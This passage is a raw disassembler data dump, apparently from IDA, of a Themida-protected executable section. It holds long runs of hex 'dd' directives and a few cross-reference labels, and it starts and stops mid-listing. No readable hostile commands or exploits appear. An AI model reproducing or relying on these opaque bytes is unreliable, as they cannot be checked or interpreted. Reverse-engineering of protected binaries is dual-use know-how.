0E5958D00h, 8B07E402h, 0C2813452h, 3BD4C340h dd 169D9589h, 0BD8307E4h, 7E4169Dh, 55840F00h, 8B000000h dd 0E4169D9Dh, 4CC38307h, 8589038Bh, 7E76C50h, 169D9D8Bh dd 0C38307E4h, 89038B50h, 0E76C5485h, 9D9D8B07h, 8307E416h dd 38B54C3h, 6C608589h, 9D8B07E7h, 7E4169Dh, 8B58C383h dd 64858903h, 8B07E76Ch, 0E4169D9Dh, 5CC38307h, 8589038Bh dd 7E76C58h, 2D7DBD83h, 0F0007E4h, 0D85h, 25BD8300h, 7E415h dd 68840Fh, 0B5FF0000h, 7E76C68h, 6C5CB5FFh, 0B5FF07E7h dd 7E76C58h, 6C64B5FFh, 0B5FF07E7h, 7E76C60h, 6C54B5FFh dd 0B5FF07E7h, 7E76C50h, 6C4A858Dh, 8D5007E7h, 0E76C8285h dd 858D5007h, 7E43359h, 6995FF50h, 8307E421h, 406A24C4h dd 6C6C858Dh, 8D5007E7h, 0E4335985h, 6A5007h, 216195FFh dd 16A07E4h, 166595FFh, 0C18B07E4h, 0F31718EBh, 9B46h dd 4 dup(0) dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 7E77016h dd 4C261h, 0FFFFE6E9h db 0FFh aA_2 db '`aΒ',8,0 ; DATA XREF: Themida_:00583A8Co dw 0F6E9h dd 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h dd 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0FFh, 0 dd 0C3616000h, 0FFFFF8E9h, 4EB58BFFh, 8107E770h, 0FFF000E6h dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 52B53B00h, 0F07E770h dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h dd 0FC00A03h, 1984h, 0BB535000h, 2, 169D858Bh, 188607E4h dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh dd 2474FF50h, 0DD95FF08h, 5007E419h, 244C010Fh, 0C08358FEh dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch dd 840FC00Ah, 9, 169D858Bh, 0C607E4h, 4FF5800h, 4C224h dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h dd 2BB00h, 858B0000h, 7E4169Dh, 0DB0A1886h, 0FFF6850Fh dd 85C7FFFFh, 7E426B5h, 0 aLdLs db 'D$',8,'',0 db 10h dd 98890000h, 1000h, 1889188Bh, 0AE9h, 0B585C700h, 7E426h dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh, 840F003Eh dd 31h, 3AB7A1BBh, 0B101B076h, 13E901h, 8AAC0000h, 32C302C8h dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah, 0FFFFE585h, 0FD20BFFh dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h dd 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h, 8A37465Ah dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh, 0BB60C35Bh dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h dd 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h, 850FD20Bh dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 0F385C700h dd 107E76Fh, 50000000h, 244C010Fh, 0F7858FFEh, 8D07E76Fh dd 0E76FEF85h, 0F7BD8D07h, 8907E76Fh, 23E938h, 858D0000h dd 7E402E5h, 538408Bh, 9B46F317h, 6FEF8589h, 858D07E7h dd 7E402E5h, 893C408Bh, 0E76FF385h, 0C858D07h, 8907E770h dd 0E419DD85h, 87E907h db 2 dup(0) word_5B970A dw 8B52h ; DATA XREF: Themida_:00583C68o dd 728B60D4h, 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh db 8, 0 word_5B9732 dw 8B52h ; DATA XREF: Themida_:0058300Co dd 728B60D4h, 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh db 8, 0 word_5B975A dw 8B52h ; DATA XREF: Themida_:005841F0o dd 535156D4h, 728BDB33h, 0C4A8B08h, 13E9h, 2D3CAC00h, 0A840Fh dd 98040000h, 0D8321334h, 4908C3C1h, 850FC90Bh, 0FFFFFFE5h dd 595BC38Bh, 8C25A5Eh, 7F858D00h, 8907E772h, 0E417DD85h dd 0A7858D07h, 8907E772h, 0E40B8185h, 0CF858D07h, 8907E772h dd 0E41D6585h, 12E807h, 41680000h, 7C01EAFBh, 29D36EE5h dd 4901A1DBh, 0A900AD9Dh, 26EB8166h, 5E958A5h, 7A000000h dd 45114F13h, 5B04C081h, 81660000h, 683252EBh, 1690h, 68B0Fh dd 820F0000h, 0 dd 0E981665Fh, 30FF246Eh, 565AF08Bh, 5BABDF80h, 0FC80F281h dd 810F7A38h, 5, 0DEE38166h, 6CC28117h, 506BF8D5h, 5ED3E580h dd 0A05DEA81h, 0E6810FC9h, 7B3AD15Eh, 840F1089h, 0Dh, 0AF03BA60h dd 8E0F103Dh, 0 dd 8E88161h, 0E96EEA20h, 14h, 0F4A6F213h, 0D0CE97F6h, 0CE3EC430h dd 9E35F8F9h, 0B809610h, 2004C081h, 0C1806EEAh, 850F4F62h dd 0FFFFFF8Ah, 6E8h, 3EB98700h, 50BF82E9h, 6060595Bh, 7E9h dd 10B40100h, 0BF6D652Ch, 61D98B66h, 8E9h, 9A08DD00h, 8A2B001Fh dd 66C08BF6h, 0BD83F38Bh, 7E413F1h, 83097500h, 0E40935BDh dd 19740007h, 0C08B5350h, 40EB8h, 79858900h, 8D07E414h dd 0E6E9F09Dh, 5BD3FF07h, 35BD8358h, 7E409h, 53501774h dd 40EB8h, 79858900h, 8D07E414h, 0E6E6DF9Dh, 5BD3FF07h dd 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 28E7C7F0h, 27843010h, 0D0A7BE49h, 0FE8405Ah dd 0D8000000h, 4222E7F1h, 45BBF923h, 1F3FABB5h, 66568C9Fh dd 5E5ACF8Bh, 8166C08Bh, 83F0F5D1h, 0E4015DBDh, 840F0007h dd 45h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h dd 33C35040h, 2C3E92Eh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 9B5A64C3h, 0BF0F27D0h dd 0FDF8CD2h, 8Eh, 0C7F76600h, 850F0004h, 28Dh, 0BD83D18Bh dd 7E42BFDh, 18850F00h, 8A000000h, 277E9D1h, 9E90000h dd 60000000h, 0B5CF593Dh, 0F160E8ADh, 2BF3B70Fh, 55006AFFh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0AE9EB3Eh, 6000000h, 0BB4F5D4Bh, 79B14D43h, 7B9D8D98h dd 0BE07E777h, 0AA67F10h, 78A0F50h, 51000000h, 548B0CB9h dd 1C895A3Ch, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 0E9AFB5E1h, 0Bh, 6F8DC103h, 0C9C20AFCh dd 64352129h, 35FFh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 650AB1C3h, 0AE8h, 0AB166B00h dd 6BB97AE6h, 0F41753Ah, 385h, 0D0B70F00h, 2589645Ah, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0C9C35646h dd 0FFCA19Ch, 0A80h, 5E900h, 17C70000h, 8B677558h, 50006AC4h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0CD6335C7h, 8100EB01h, 0B9D846DAh, 55006A18h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 270C4F58h, 91EFA181h, 0F78B8397h, 8F6470B6h, 5, 0EDF68100h dd 8323B1B0h, 6A04C4h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 524743C3h, 0A4D2A550h, 0B317C4Dh dd 0EA840FC0h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 5950C355h, 0C495EB64h dd 0F66030Dh, 88Dh, 28B0F00h, 60000000h, 0E8605061h, 10h dd 0C5056387h, 918EAE41h, 0AA145920h, 4A90990Dh, 0F2C68058h dd 66615A61h, 8DD79DBAh, 0E472B7BDh, 1B8F507h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 28FCC355h, 0DA03216Fh, 0FFD08B66h, 57006AE7h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0C81FD2CEh, 0C4795536h, 14E9F5h, 0DF150000h, 9BA7CFDBh dd 0F5F6D2AFh, 5480F986h, 0FB19983Ah, 8B57C242h, 8B10245Ch dd 0B883h, 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h, 2000000h dd 0C3C0335Fh, 0D3E28166h, 66606109h, 9BCADE81h, 0B2C08B61h dd 0F1BD8307h, 7E413h, 0BD830975h, 7E40935h, 50197400h dd 0B8C08B53h, 40Eh, 0EED8589h, 9D8D07E4h, 7E6EA57h, 585BD3FFh dd 935BD83h, 740007E4h, 0B8535017h, 40Eh, 0EED8589h, 9D8D07E4h dd 7E6E6F8h, 585BD3FFh, 6A9CC680h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0EC22C357h dd 15F3BFD1h, 0E8C08BF5h, 13h, 64540A26h, 92D0C044h, 279E621Ah dd 0B48CA4B3h, 0FAE17BDh, 0B86h, 6E900h, 0BC0E0000h, 2E56EF50h dd 38BA665Eh, 0EBC28BB8h, 8, 0 dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 15858B24h dd 8D07E420h, 0E7CC1085h, 8B088B07h, 100088h, 660A8B00h dd 89FC4A8Bh, 0E778568Dh, 0FDBD8307h, 7E42Bh, 0F840Fh dd 6A600000h, 4195FF00h, 6107E40Eh, 0FFFFC4E9h, 728966FFh dd 10CEC1FCh, 2728966h, 5A04CD52h, 78528589h, 0B58B07E7h dd 7E77856h, 6610CEC1h, 8B027289h, 0E77856B5h, 72896607h dd 858B61FCh, 7E77852h, 0AD958DC3h, 8907E40Bh, 0E4169D95h dd 0B5958907h, 0FF07E41Eh, 0E41EB585h, 2D85C607h, 5307E42Ch dd 0B148D868h, 9DB5FFFCh, 8D07E401h, 0E43BDC85h, 89D0FF07h dd 0E40E4185h, 26858D07h, 8907E770h, 0E4160185h, 0E900EB07h dd 5ACh, 5A0E9h, 79FB6800h, 0C8E907E7h, 68FFFD04h, 7E77B52h dd 0FD04BEE9h, 7BC768FFh, 0B4E907E7h, 68FFFD04h, 7E77CA6h dd 0FD04AAE9h, 7D9368FFh, 0A0E907E7h, 0B2FFFD04h, 0E24B8DAh dd 6B811535h, 0CBE1758Fh, 2E44D8ECh, 0CAA33753h, 34502B24h dd 92B08AA0h, 0F40AE8FEh, 556D4A60h, 0E15E0EC1h, 13A5D91Ah dd 3DDB73B8h, 6237495Fh, 42A08477h, 0A04B3014h, 11ED1442h dd 0A91442A0h, 1442A0D6h, 42A09862h, 0A0631C14h, 0E4AB9442h dd 0DC7ACAh, 0B313AEE6h, 337FA520h, 411F3172h, 0A69B86C4h dd 0D6E35593h, 96599530h, 29927183h, 475D3BD9h, 0FA77D9B3h dd 93A6D305h, 3C5668D1h, 3910485Eh, 8B085856h, 9442CC25h dd 0DC76CA33h, 41E2352Ah, 4267B01h, 79510000h, 0D4ADC357h dd 2E0A20B4h, 8B6A8014h, 0F2CDE377h, 836942D6h, 3FD3EFCAh dd 9D314F29h, 0FF93A987h, 60F40CE9h, 0FB80FDADh, 5713A5D9h dd 79568312h, 827C2961h, 551442A0h, 0DF41782Ch, 42A09D62h dd 80D03914h, 42A07C03h, 5F71DA14h, 0BC506845h, 61B1C9A6h dd 0A0FD82FFh, 0F0591442h, 6D4A18DEh, 2D930555h, 4C934C4Ah dd 1553192Bh, 4825184Ch, 3AC59C30h, 9BE05BC0h, 386h, 1BF492C4h dd 7B916FFBh, 7C96A843h, 0A24F879Fh, 1442A0D8h, 0A42623Bh dd 0BD495D3Ch, 0EE90C8E0h, 3E52FA7Dh, 0C043E297h, 0EAACCC84h dd 1B53734Ch, 95D16E80h, 65B5CDAAh, 0C0D2EAC7h, 9D3BEB9Eh dd 0B997A9BFh, 425A473Ch, 72AA1314h, 0ACA9C6A4h, 2A33F705h dd 604BC121h, 264A9AC6h, 0FD5F39CDh, 16591E9Bh, 8CF51442h dd 42165A21h, 7B88F814h, 0C7EB84A7h, 6E889AF3h, 6A417991h dd 1AF48826h, 365EEDA8h, 47D30D67h, 7E19516Bh, 5D75526Ch dd 5F7D5725h, 6025D6CBh, 0CAA1442h, 0E9031531h, 0E2B9F10Fh dd 3FB101ADh, 2E0AB4BFh, 6F15B414h, 0B9211D7Dh, 0D0D22854h dd 0E07EE0BEh, 0C1D7B506h, 5D95EE89h, 5B7B0C2h, 4B13A652h dd 0C8CE8EE2h, 23636A18h, 2CF9Dh, 0AED0A800h, 0B2B041Ah dd 6B856177h, 0CEE2C1D7h, 2D49243Ah, 213AC099h, 80962A46h dd 0DEF488A6h, 4056EA00h, 4B74B63h, 0DB20D754h, 69AE13A5h dd 617956DAh, 667E5B29h, 6886602Eh, 0A05CDFD4h, 27D81442h dd 701442B0h, 0AE407896h, 0B1D3110h, 42B06912h, 784E614h dd 1442B070h, 406375DEh, 920F5F4Fh, 13A69308h, 0DD89DD46h dd 686A1989h, 25AA228h, 451D0000h, 0A0798F23h, 0FAD6EC80h dd 57364CE0h, 0BE99AF43h, 0CF350EA2h, 0B9FBB96h, 69FD1BF5h dd 0CB5F7553h, 2CC0D8B5h, 0B74CC979h, 2313A5DBh, 79564FDEh dd 35972961h, 42A0C3B8h, 14268F14h, 0F6D21DFAh, 0D4B83DCh dd 70886503h, 0EE8B9D38h, 0D2EAC7B6h, 8CF2643Eh, 61A8690Dh dd 728D687Ah, 63E05B27h, 1D2h, 0A084778Ch, 310F1442h, 0FAD871Bh dd 0DEA52233h, 7C1442A0h, 0E782BA13h, 0C7DDBBD5h, 0E000D977h dd 5C3A08CEh, 0F984F646h, 666AFA27h, 55E5AE57h, 0AD06505Ch dd 0F42C4421h, 43814759h, 7553CA7Ah, 0BF4CB5Fh, 0CCE05BEEh dd 5Dh, 6C424DF5h, 0B8719F1Ch, 0BF1F13A6h, 0A6B9BD42h dd 0A27D1913h, 5AB34E86h, 0B9F68D0Ah, 0FB6413A6h, 0A5224EA2h dd 0F7376A19h, 17B71h, 224FC00h, 5F7F586Eh, 0BFD9B5CBh dd 2236152Bh, 819D788Eh, 75EE14EDh, 0D4EA7E9Ah, 3248DCFAh dd 94AA3E54h, 580B9FB7h, 0DC542BA8h, 0BD0213A5h, 6377562Eh dd 7E0D8A3Ah, 0EC1442A0h, 9F7D4B83h, 55E7C56h, 667E5B71h dd 7539572Eh, 0A4EDCBE1h, 0DB76AEC8h, 0FBD8EE82h, 0EF2193E3h dd 64A62AB2h, 5422E8FAh, 15C85C7Ah, 0D4E8C765h, 95A1B474h dd 94A6C37Ch, 0FD4239B6h, 0A7101442h, 0ABC5A16Fh, 149AF817h dd 18320EDCh, 0FDEC8F84h, 1631442h, 42FDFF84h, 0E0F25B14h dd 8CDCD2BDh, 0A6DBAD0Fh, 0EA3AA313h, 4355714Ch, 9BEEC765h dd 0B84CA5BFh, 9B76C9A2h, 20EE267Fh, 7ADC2C42h, 0A62406FDh dd 596BD413h, 0CDEBC593h, 0D1EBC795h, 0DDA21F81h, 7913A624h dd 6138FE10h, 0B330802Eh, 14422FE5h, 84F64AB3h, 0E962352Eh dd 8E23A9h, 11E90000h, 6C455BEFh, 0C6A2B84Ch, 230218ACh dd 8A657B0Fh, 0FB01DA6Eh, 0D76B8762h, 35C9E7C1h, 972B411Fh dd 0F88CA481h, 63189545h, 0EF13A5DDh, 20921BAAh, 59810348h dd 2F495B84h, 112B0752h, 0ADE53ED9h, 0B2EA02DFh, 84FBAB74h dd 24FB8FA7h, 0E05B18DBh, 29431FBDh, 107817h, 77A10000h dd 1442A085h, 871B3310h, 1AB9h, 0F4924800h, 32C4FC1Ah dd 42A0CEB5h, 0CA238C14h, 0A03CBFB8h, 7A571442h, 94FDCE62h dd 24258h, 74C30000h, 245C7E56h, 29617956h, 2F677D5Bh dd 31698761h, 346C8863h, 376F8B66h, 3E768A69h, 427A9470h dd 437B9B74h, 2CD768EEh, 3C890000h, 59E76824h, 34890000h dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 0BE240C89h dd 2F1E205Fh, 2414F756h, 0EE81465Eh, 0C8FA6645h, 8904EC83h dd 4812424h, 424h, 89685900h, 8900007Fh, 8BB241Ch, 1000000h dd 5B3389CBh, 592434FFh, 4C481h, 348B0000h, 0E0895024h dd 405h, 40500h, 4870000h, 3CE95C24h, 6EFFFCFFh, 0A35999A4h dd 4CBEE58Ch, 7E46B88Fh, 0C50307E7h, 51E9D18Bh db 3 dup(0) byte_5BA363 db 60h ; DATA XREF: Themida_:005829C4o ; Themida_:005844B0o ... dd 2424748Bh, 8B3C7603h, 8B28247Ch, 0F8C281D6h, 66000000h dd 0F064E8Bh, 0F983C9B7h, 16840F00h, 3B000000h, 8F0F0C7Ah dd 15h, 8B28EA83h, 4A8B0C42h, 2BC12B14h, 247C89F8h, 8C2611Ch dd 28C28300h, 0CF850F49h, 0E9FFFFFFh, 0FFFFFFE9h, 9FD3EBAh dd 20EB00h, 7 dup(0) dd 0E9000000h, 565h, 559E9h, 81136800h, 98E907E7h, 68FFFCFEh dd 7E781D9h, 0FCFE8EE9h, 835168FFh, 84E907E7h, 68FFFCFEh dd 7E783BAh, 0FCFE7AE9h, 0DE00D8FFh, 3B5B344Ah, 9BB591A7h dd 0FE12F107h, 5D79546Ah, 510AF0C9h, 0B0C65A76h, 0E24B8D6h dd 70861A30h, 34E77B93h, 0DF700784h, 99DE13A5h, 6C886301h dd 0B2879934h, 28607A56h, 42A0807Bh, 0E364794h, 976CE94Bh dd 349442A0h, 18B90F58h, 0D0398A7Ch, 0A1CE3BEh, 30B9605Ch dd 0E2000000h, 42A08577h, 0D2AE4C14h, 0C83A6B8h, 1F78946Fh dd 8D555DCFh, 83FF7308h, 29169371h, 3513A556h, 902C0DC5h dd 0F54E6C2Eh, 429361h, 77220000h, 1442A084h, 7569D94Bh dd 627F3114h, 42771EE5h, 0FA53BC14h, 0E4CAC5E8h, 8281794h dd 0CD3613A5h, 0D99E1B7Dh, 7513AAF6h, 2A0FF05h, 0A3FC20F8h dd 12243817h, 997816F0h, 245C7652h, 491E3089h, 10607A56h dd 1D729972h, 1F77FA8Eh, 3FDA126Bh, 3EBA672Dh, 3E6BBDF4h dd 0B8948BBBh, 0A7EB0A9Eh, 413AB707h, 0D94421Bh, 0C19E6CA4h dd 99F615A9h, 0A248C515h, 3093A63Bh, 449DB994h, 7B9C5F0Ch dd 1A2B93A6h, 42CD326Ah, 0A90A5877h, 33000000h, 0CCB33092h dd 8A1442A0h, 0A3EC0F21h, 0E759BB0Bh, 0CB14EF4Dh, 0F87FFC49h dd 56144236h, 898294EDh, 13A54EA9h, 900252BBh, 0C09F65B2h dd 79D974ACh, 0FC4C805Ah, 0AA59F87Fh, 0DBED5613h, 20FD9BFDh dd 72967701h, 146DE089h, 1B2F0EDCh, 0DDEF48E3h, 3ACEE6C3h dd 9A284724h, 0B5BDE3A9h, 53680F8Ch, 7DE613AAh, 0B77CB24h dd 726A14D1h, 2DFAC32h, 91690000h, 0ECC5DB6Fh, 462238CCh dd 0A382982Ch, 0AE5FB8Fh, 7B815AEEh, 57EB07E2h, 0B5496741h dd 17ABC19Fh, 780C2401h, 0E39815C5h, 6F13A521h, 0AA9E9B2Ah dd 2D000002h, 28607A56h, 0C0B73496h, 8E1442A0h, 611A1325h dd 0D31442A0h, 1442A0A8h, 93AD8927h, 97B18D5Bh, 596BC45Fh dd 42A09C60h, 0A0631C14h, 52F01442h, 92245C76h, 42A06E15h dd 2A83EC14h, 6FA7C39Eh, 36C9C2D4h, 821442A0h, 0D442A0F9h dd 8077F456h, 4ED442A0h, 0DFB0D3E5h, 7F1D7FCFh, 817A8CA0h dd 0D3A58CACh, 32C946A6h, 0A0D3A58Dh, 14A6DE37h, 8D4E35B2h dd 0A30CD3A5h, 8D216E91h, 92EAC03Dh, 0FF68D441h, 3277E1ABh dd 0EA70B0A2h, 219h, 0A135572Fh, 0FE92B28Bh, 5EF20CE8h dd 0C1556948h, 20B4D0ABh, 0CDA8A147h, 2D071DB1h, 87657B0Fh dd 0EAC7DD71h, 0DB8B3ED2h, 0A521995Eh, 61F03513h, 11617956h dd 0F082B99Fh, 0DE95C1BCh, 0FAA808C4h, 223A1716h, 0E4F64FEAh dd 6F48471Eh, 42520DF2h, 760C914h, 2D713AB7h, 0D43D13A5h dd 344E2A40h, 94AE8AA0h, 0ADCDA644h, 754EDA75h, 70821D55h dd 0F2BCD3AAh, 0AE6225A2h, 9430144Dh, 0CB669EB8h, 6604DE72h dd 9A356D8Dh, 50EC8F88h, 711E1B8Dh, 0BB70ED3Dh, 771C6A2Fh dd 4320BE0Eh, 0A481972Bh, 24C2548Ch, 0C8A22E48h, 0CC9F98AAh dd 8303F5CFh, 0BEE4A311h, 3A8A4E0Eh, 0F5E4C6BDh, 192B9403h dd 0C51599F6h, 129AFF48h, 0AAFA6304h, 6434CB48h, 39A20BDCh dd 0CEAB4927h, 2F0C22B6h, 4B29C717h, 5062FD35h, 6432DD8Ah dd 137C0BDCh, 15CE4B9Bh, 0D90C3B1Bh, 0A5822070h, 6E3F98Dh dd 552C9EEEh, 0AFE9A6FDh, 865D2335h, 0D855A509h, 3423F86Bh dd 0A03E8EF7h, 0D671A9C5h, 0AE51FEC4h, 1D3B2F06h, 0DB24580Ch dd 0FCB0EE6Bh, 0Ch, 0BD847725h, 7571442h, 0E6000000h, 42BA8477h dd 424D5414h, 0A003F875h, 53D01442h, 1442A0ACh, 770C12Ah dd 2EE15EAEh, 0E413A5DFh, 236C437Bh, 0C19D3B8Bh, 0C2D46FA7h dd 0CB9167E4h, 0D63F1441h, 32311482h, 0CB519162h, 0A1h dd 19ADCFA7h, 760A2A03h, 0D66A8460h, 39CDE1C0h, 982C4823h dd 452039BFh, 0A57F9529h, 0FFDDF387h, 623F55E9h, 5303B64Ah dd 0A52321D6h, 0D968AD13h, 16F492h, 0F81B2DC8h, 4AC71797h dd 13A5DF81h, 0D5ACE44Dh, 27A4F4BAh, 1441D625h, 0D8F4CF6Bh dd 0DBF7D2A0h, 23AF08A3h, 5AF52D47h, 3BF3AD01h, 86C66232h dd 3800h, 16381000h, 73936C82h, 0D3EDC9DFh, 364A293Fh dd 95B18CA2h, 89C22801h, 0E8FE92AEh, 465CF00Eh, 0A8BE5268h dd 6C1FB3CBh, 23B83FBCh, 0D11613A5h, 39E42h, 8D2D0000h dd 5C7E563Eh, 61795624h, 677D5B29h, 6987612Fh, 6C886331h dd 6F8B6634h, 768A6937h, 7A94703Eh, 7B9B7442h, 8957EE43h dd 4C781E7h, 81000000h, 4EFh, 243C8700h, 242C895Ch, 8904EC83h dd 5C682414h, 8900001Ah, 5550240Ch, 0B12B1BBDh, 0DDF74D77h dd 8108E5C1h, 0A357B4E5h, 42F58166h, 814B4D29h, 1A1040C5h dd 5DE889FAh, 5458C289h, 81240C8Bh, 4C4h, 0BF575200h, 0AE30762h dd 4247C01h, 8418F5Fh, 62086981h, 0FF0AE307h, 81592434h dd 4C4h, 24148B00h, 81E78957h, 4C7h, 4C78100h, 87000000h dd 0E95C243Ch, 0FFFCF957h, 0E6481895h, 17BCA309h, 0BB6052F7h dd 17B83C52h, 307E784h, 0E8C88BC5h, 12h, 4F951C56h, 2ABC2803h dd 0BFEF6F76h, 5A3E041h, 66593705h, 0C181F38Bh, 739Eh dd 0B7CDBAFCh, 0EA816536h, 65369B08h, 830Fh, 31FF0000h dd 0B638D681h, 0F587550h, 88h, 84F08100h, 0F1C311Ch, 0E881FAB7h dd 6FC66F2Ah, 11E951h, 14E00000h, 0C44F0063h, 38E924FFh dd 0B2E0EAF8h, 5E6B771Dh, 0F98EC081h, 0BF0F5417h, 830189D9h dd 9E904E9h, 12000000h, 0A17F9C7h, 0C9583EBh, 1EA81h, 850F0000h dd 0FFFFFFA2h, 49E9D88Bh, 68000001h, 0E7048D36h, 93DA95ECh dd 0DF067158h, 0FDBEB6CFh, 36365D54h, 0BCECA4h, 52C55DD5h dd 0A4D676D3h, 4100FC94h, 50C1AEC4h, 325277CBh, 9CACACh dd 0FC6C46BFh, 597390ADh, 75D6A336h, 0BD9C72E2h, 93DD0090h dd 0A79B8CE6h, 0DD64A592h, 9792A7ABh, 0FC7A918Fh, 96B9F95Ch dd 0B59BB1E4h, 0B69F47E4h, 94B6E592h, 0B59EBDF6h, 0EC96B3EBh dd 999C93D0h, 0FD7B97BFh, 9389F55Ch, 0EDAFF4h, 0A6E3B2CDh dd 0B5D4E594h, 445700C3h, 0B0F3622Dh, 2CAE29h, 340000h dd 380000h, 2 dup(0) dd 40000h, 940000h, 50000h, 10000h, 0A280000h, 20000h dd 65530000h, 63697672h, 61502065h, 32206B63h, 20h dup(0) dd 1F51E9h, 88696800h, 50E907E7h, 68FFFCF7h, 7E78994h dd 0FCF746E9h, 8A3868FFh, 3CE907E7h, 68FFFCF7h, 7E78B2Ch dd 0FCF732E9h, 8BE968FFh, 28E907E7h, 68FFFCF7h, 7E78C98h dd 0FCF71EE9h, 8D6D68FFh, 14E907E7h, 68FFFCF7h, 7E78E11h dd 0FCF70AE9h, 91E568FFh, 0E907E7h, 68FFFCF7h, 7E79266h dd 0FCF6F6E9h, 939168FFh, 0ECE907E7h, 68FFFCF6h, 7E796CBh dd 0FCF6E2E9h, 9A2368FFh, 0D8E907E7h, 68FFFCF6h, 7E79D9Dh dd 0FCF6CEE9h, 9F1268FFh, 0C4E907E7h, 68FFFCF6h, 7E79F8Ah dd 0FCF6BAE9h, 9FD568FFh, 0B0E907E7h, 68FFFCF6h, 7E7A039h dd 0FCF6A6E9h, 0A1FA68FFh, 9CE907E7h, 68FFFCF6h, 7E7A2D9h dd 0FCF692E9h, 0A4BE68FFh, 88E907E7h, 0CAFFFCF6h, 263CD0F2h dd 83992D4Dh, 0E3F98DA7h, 465CF004h, 0E2BB4F6Bh, 4C68431Ch dd 0AAC8A2B8h, 0C220016h, 6D856278h, 0F97626D9h, 13A52702h dd 56FC8BD0h, 5B296179h, 0B3D2667Eh, 582D2DCh, 13A6B38Bh dd 7B2860C9h, 13A6B480h, 4E0E3647h, 0D87809B1h, 4626h dd 424D4F00h, 0E99F1C6Ch, 0A713A6A9h, 0F8CEE3Eh, 13A6AA68h dd 0A56B7DE6h, 2AB9A113h, 0A77ABFF4h, 0C9E39C95h, 553413A6h dd 5F3B0941h, 0A92C0D45h, 0B5DB5FDh, 3C74946Dh, 0B2F28FA1h dd 77A8F50Ah, 0AFE2D8h, 560B0000h, 5B296179h, 5E2C6480h dd 63316981h, 0E5DA6E86h, 1442A459h, 68825EFCh, 6F836230h dd 31439C37h, 8E223A17h, 73509B78h, 2F88235Bh, 3F6F20F7h dd 0B0F072EFh, 55BE13A6h, 0C1EDA2C1h, 50FBF471h, 4EB71440h dd 698560FEh, 0C8E4BFD5h, 32C85674h, 0F177B762h, 1CE7h dd 31C5E7BFh, 8E22421Bh, 0EE829C78h, 51E5F9D8h, 0B044603Bh dd 5D3811D7h, 0BD97AD41h, 17F50B9Fh, 7A576D01h, 6B1BCE62h dd 0A52809EEh, 0F180C513h, 502C7B56h, 0A63FE36h, 6B836076h dd 1E9BFDD7h, 1442A059h, 8FC7DBBAh, 0EA3AA3F4h, 42A0966Dh dd 0C9DB4414h, 6C424DF4h, 0A9E99F1Ch, 3EA713A6h, 0AAA65906h dd 12F113A6h, 1BF8C6FEh, 0C58CCB03h, 0A65DDA81h, 3413A6AAh dd 91A72CBh, 7DE215Dh, 0DDF7D878h, 20000000h, 29617956h dd 5D5D805Bh, 0DCA320ECh, 7A1442C7h, 0D678B111h, 9C4981DAh dd 144284A0h, 0E93C15B3h, 21BCF40Ch, 0BF9CB6C8h, 49819574h dd 0ABC155AEh, 8BA983CEh, 275FB853h, 0C1B63395h, 8D144285h dd 0A0EF1224h, 89E202DBh, 91BABC39h, 0A70913A6h, 0A69A552Ah dd 0CDEDC613h, 0E905E07Ch, 0ABBD16B1h, 0E5305CCCh, 42DA77E1h dd 0A65C3EC5h, 0DA339C13h, 0C1CEED81h, 80209DEDh, 0D21440BAh dd 3AB71969h, 1B894345h, 43EE9512h, 36C1B89h, 593749B2h dd 30C4E0BBh, 0CF233F1Ah, 6231E805h, 0BC56DC1Ch, 0EA00001Bh dd 465CF012h, 0A3B94D6Dh, 319ADC7h, 667C1024h, 2DB6F8Bh dd 6C8863FCh, 0CAE8C2D8h, 2C422036h, 8DA58298h, 199646F9h dd 13A52962h, 561CABF0h, 0B5CB5F7Bh, 5B2CC0D8h, 29617956h dd 0F26F7E5Bh, 1442A00Dh, 730760C9h, 0D82D44Ch, 6D451A1h dd 0D413A68Ch, 5857626Bh, 0E2AF28E2h, 4FB101ADh, 